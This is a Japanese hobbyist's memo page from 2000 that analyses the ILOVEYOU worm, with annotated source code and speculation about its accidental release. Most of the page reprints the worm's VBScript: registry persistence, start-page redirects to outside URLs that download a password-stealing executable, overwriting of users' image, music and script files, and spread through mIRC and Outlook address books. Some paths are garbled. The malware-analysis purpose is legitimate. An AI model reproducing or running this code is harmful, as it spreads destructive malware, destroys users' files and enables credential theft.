
山崎はるかのメモ
I LOVE YOU ウイルスのメモ
- たぶん原型だと思うけど -
●はじめに
そろそろ I-LOVE-YOU.vbs に関して、アンチヴァイラスツールが定着してきたので、ここらで 技術的な解説をしても そう怒られることはなかろう...ということで、ソースを解析してみることにした。
一応、ソースに関しては 入手した際の原型をなるべく保ちたいところだが...
それでは ちょっと見づらいので、私流のインデントと VB風(ふう)のカラーをつけることにする。
同時に 私がつけたコメント文も「 ’」で はじまるコメントの切り方をする。
どうせ、このソースを まるうつしにして実行するヤツ(→つまりドツボにハマって自爆するヤツ)なんか いないだろうから、これでよい。こういうふうに スクリプト(ソフト)を実行形式から テキスト形式に変えることも、リバースエンジニアリングになるのか...?という疑問がある。
ウイルスにも著作権は成立すると思うが、ま、ここまで世間を騒がしながら バラまいてるんだから、この程度であれば よいだろう。おっと、忘れておった。
そもそも このページは 私のメモエリアであった。
べつに、そこまで人目を気にせんでもよかろう。
●注意点
私が入手した「ILOVEYOU」は、出版社から「はるかさん、これわかる?」と 譲り受けたもので、最も原型に近い状態だと思う。
しかし、ウイルスというのは、技術者(プログラマなど)の手に渡る・あるいは通過する際、 しばしば改変される。
それは 無害化が目的だったり、リバース用に解体されたりなどが理由だが、たまに より強力に改造されることもある。私が入手した段階で、すでに改変されている可能性も否定できないから、これがILOVEYOUウイルスの原型であるという保証はない。
そのあたりは留意していただきたい。また、このページでは ウイルスソースの一部分を「画像」に代えることで、アンチウイルスソフトが誤反応しないよう工夫している。
(SYMANTECの「ノートンアンチウイルス2000」で調整済み)
だが 他のアンチウイルスソフトが どの部分を判定しているかわからないため、ブラウザのキャッシュファイルに誤反応しないとも限らない。
誤反応した場合は、ブラウザの「インターネット一時ファイル」(キャッシュ)を全消去するとよい。
まちがっても「ダイアモンドアプリコットのホームページでウイルスに感染した!」などと 初心者みたいな騒ぎ方はせんでくれ(笑)
このページを閲覧するだけで、ウイルスに感染することはありえない。
ソース部分を テキストに写し取って、拡張子をVBSにしたら別だが、それは絶対にやめてくれ。
ILOVEYOU
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main() '本体&各ルーチン呼び出し部分
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html() '←意味があるのか? なんかの裏技か?よぉわからん
spreadtoemail()
listadriv()
end sub
'************************************************
' レジストリ関係を改ざんして、ウイルスの起動環境を整備
'************************************************
sub regruns()
rem On Error Resume Next '←なんじゃこりゃ?(笑)
Dim num,downread
'ユーザーがどういう設定をしてようが、初期状態にする
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
'こいつの最大の目的はここだ!
'このウイルス自体は 「蔓延」の役目でしかない。
'真の作業は このウイルスによって、ユーザーに強制ダウンロードさせた「パスワードハックプログラム」が行う。
'まずWindows既定の一時フォルダに、パスワードハックプログラムをダウンロードするよう前準備
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then 'ブラウザの「スタート」ページを4ヵ所あるダウンロードサイトのいずれかに変更。あとはブラウザを立ち上げるだけで ブラウザが勝手にダウンロードをはじめる
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
'この段階で、(2回目のウイルス起動など)すでにパスワードハックプログラムがダウンロードされていたら、自動起動状態にする。
'同時にブラウザのスタートページをクリア(「まっしろ状態」)にする。
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet rem ExplorerMainStart Page","about:blank"
end if
end sub'ドライブの構成をマップにする ※本来 サブルーチン群に入るべきだが、ソース上は なぜか この位置にある
'(なお リスト化するのは HDD狙い。でも このプログラムのままだと不安定じゃないかと思う。ま、いいけど)
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives 'ラストドライブまでの数を取得することによって、全ドライブ数を得る
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub'HDD上に存在する 画像ファイル・音楽ファイルをすべてILOVEYOUウイルスに書き換える(結果として破壊する)
'(※スパゲティ気味で よぉわからんから原文のまま)
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ;"
scriptini.WriteLine ;Khaled Mardam-Bey"
scriptini.WriteLine ;http://www.mirc.com"
scriptini.WriteLine ;"
scriptini.WriteLine n0=on 1:JOIN:#:{"
scriptini.WriteLine n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
'************************************************
' サブルーチン群
'************************************************
'そのドライブに存在するフォルダを一覧にする ( sub listadriv に呼び出されるサブルーチン)
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub'レジストリキーを新規生成 ( sub regruns に呼び出されるサブルーチン)
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub'レジストリの値を取得し返す ( sub regruns に呼び出されるファンクションルーチン)
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function'ディスクの空領域チェック ( sub regruns に呼び出されるファンクションルーチン)
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function' ※どこからも呼び出されていないファンクションルーチン ・そもそも何がやりたかったのかも不明
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg '←なんか 間違えてるし。でも このミスはよくやるよね(笑)
end function'Outlookに登録しているメールアドレス全員にウイルスを送信
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI") 'MAPIいわゆる「まっぴ」を使う・MAPIは Outlookを外部から制御するAPI
for ctrlists=1 to mapi.AddressLists.Count '住所録の総数を得る(この数には フォルダとか、FAXだけとかメールアドレスのない人も含まれる)
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x) 'アドレスエントリを読み込んで メールアドレスを抽出
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count 'メールエントリをクリアする。 マジ、凶悪やな。
else
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub※テストランをせずに、コメント文を書いてるから「これが絶対」というわけではない。盲信しないでね。
●所見
ウイルスソース全体に「未完成部分」が点在している。
デバッグ用のエラートラップが そのままだったり、テストランをしていないルーチンがあったり。少なくとも 大型配布を考えているのなら、プログラマの習性からして、このような状態で外に出すはずがない。
つまり。
ウイルス作者は、開発作業中に あやまって「ILOVEYOUを暴発」させてしまった...それが この大騒動の発端になった...と ほぼ断定してよい。
ま、「本当にパワーあるのか?」と 一発だけ試してみたら、本当にひろがっちゃった、あら驚いた! という状況もあるだろうが、いずれにしても「意図しない蔓延」だったのは まちがいない。私も、5年前、ディスクプロテクト用に開発していた「ソチリフ-1型」という準ウイルスが暴発して、社内がえらいことになった。
未完成なだけに凶悪で、対策にはてこずった。
あたりまえだがアンチウイルスなど効きゃしない。自分で作ったんだからな。
ウイルス開発技術は、そのままソフトウェアのコピープロテクト技術に転用できる。
言い替えると、コピープロテクト技術の一部は そのまんまウイルス開発技術だったりする。
ウイルス動作をするプログラムの開発においては、スタンドアロン機で 細心の注意を払って行われるが、やはり1度や2度の暴発は避けられない。
もちろん 「ILOVEYOU」は、巧妙にディスクハックプログラムを読み込み・実行させるなど、最終的に「蔓延」させることを目的に開発されたことは疑う余地のないことだが、一方で、未完成のままバイオハザードしてしまった事実も見逃せない。なお、ILOVEYOUは「二人以上の共同開発」という説がささやかれているが、それは 確かに納得できる。
MAPI制御部分と 一部のサブルーチンの開発スタイル、ファンクションスペルの厳密性に、微妙なズレがある。
ただ、他人のサンプルソースを引っ張ってきても 同様のことはあるから、そう断定するのは早計かもしれない。
ソフト開発は 技術やソースの書き方よりも、発想が優先されるらしい。
ILOVEYOUのスクリプトソース自体に、特筆すべき高度な技術はない。
だが、むしろ 標準的な技術で、世界を震撼させたことのほうに 注目すべきだ。
便利さと引き換え...などという 眠たい考えなど吹き飛ばすぐらい、シンプルで、しかも対策の方法がない。
一般人が サイバーバイオハザードを起こせる時代なのだ。
(2000/05/30・山崎はるか)
Network Diamond Apricot - NAKANO.JSC-SRS